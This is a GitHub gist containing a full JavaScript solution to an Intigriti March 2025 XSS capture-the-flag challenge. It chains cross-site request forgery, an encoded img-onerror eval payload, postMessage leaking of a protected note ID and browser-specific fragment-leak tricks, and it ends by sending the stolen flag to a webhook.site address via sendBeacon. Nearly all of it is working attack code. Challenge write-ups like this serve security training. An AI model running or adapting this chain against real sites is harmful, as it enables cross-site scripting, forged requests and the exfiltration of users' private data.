Skip to content

Instantly share code, notes, and snippets.

@JorianWoltjer
Created March 27, 2025 21:42
Show Gist options
  • Save JorianWoltjer/1481c1f57f0a56c868da58752675df13 to your computer and use it in GitHub Desktop.
Save JorianWoltjer/1481c1f57f0a56c868da58752675df13 to your computer and use it in GitHub Desktop.
Intigriti March 2025 XSS challenge solution (https://challenge-0325.intigriti.io)
<script>
const HOST = "https://challenge-0325.intigriti.io";
const isFirefox = navigator.userAgent.toLowerCase().includes("firefox");
window.addEventListener("message", (e) => {
if (e.data.leak) {
// 5. Exfiltrate the leaked fragment directive containing the flag
navigator.sendBeacon("https://webhook.site/...", JSON.stringify(e.data));
alert(e.data.leak);
}
});
// Leaking fragment directive is different in Firefox/Chrome
if (isFirefox) {
payload = `
const interval = setInterval(() => {
if (w.location.href === "about:blank") return;
w.eval(\`
onhashchange = e => {
const leak = e.oldURL;
if (leak.includes("#")) {
opener.opener.postMessage({ leak }, "*");
} else {
// Try again until it works
opener.location.reload();
window.close();
}
}
location.hash = "CHANGED";
\`);
clearInterval(interval);
}, 0)
w=window.open("/note/anything")
`;
} else {
payload = `opener.postMessage({leak: performance.getEntriesByType("navigation")[0].name}, "*")`;
}
// 1. Whitelist third-party cookie protection
w = window.open(HOST);
// 2. CSRF with content of `Array` type with XSS payload
const body = {
title: "XSS through CSRF",
content: [`<img src onerror=eval(atob("${btoa(payload)}"))>`],
use_password: "false",
};
setTimeout(async () => {
await fetch(HOST + "/api/post", {
method: "POST",
credentials: "include",
mode: "no-cors",
body: new Blob([JSON.stringify(body)]),
});
// 3. Leak the note ID with postMessage empty password
let interval;
w.location = HOST + "/protected-note";
onmessage = (e) => {
if (e.data.type === "success") {
clearInterval(interval);
// 4. Visit the leaked note (with XSS payload we just created)
w.location = HOST + `/note/${e.data.noteId}`;
}
};
interval = setInterval(() => {
w.postMessage({ type: "submitPassword", password: "" }, "*");
}, 0);
}, 1000);
</script>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment